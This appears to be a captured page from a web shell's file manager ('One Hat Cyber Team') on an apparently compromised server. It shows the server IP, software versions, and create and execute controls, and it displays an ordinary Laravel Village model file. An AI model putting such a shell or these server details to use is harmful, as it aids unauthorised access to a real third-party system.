One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
html
/
Compro-ISP
/
app
/
Models
/
View File Name :
Village.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class Village extends Model { use HasFactory; protected $table = 't_reg_village'; protected $primaryKey = 'id'; public $timestamps = false; protected $fillable = ['c_village', 'ref_reg_province', 'ref_reg_district', 'c_postcode']; // Village *..1 Province public function province() { return $this->belongsTo(Province::class, 'ref_reg_province', 'id'); } // Village *..1 SubDistrict (per skema: ref_reg_district → sub_district.id) public function subDistrict() { return $this->belongsTo(SubDistrict::class, 'ref_reg_district', 'id'); } // (Opsional) Ambil District lewat SubDistrict (tanpa package "belongsToThrough"): public function getDistrictAttribute() { return $this->subDistrict?->district ?? null; } }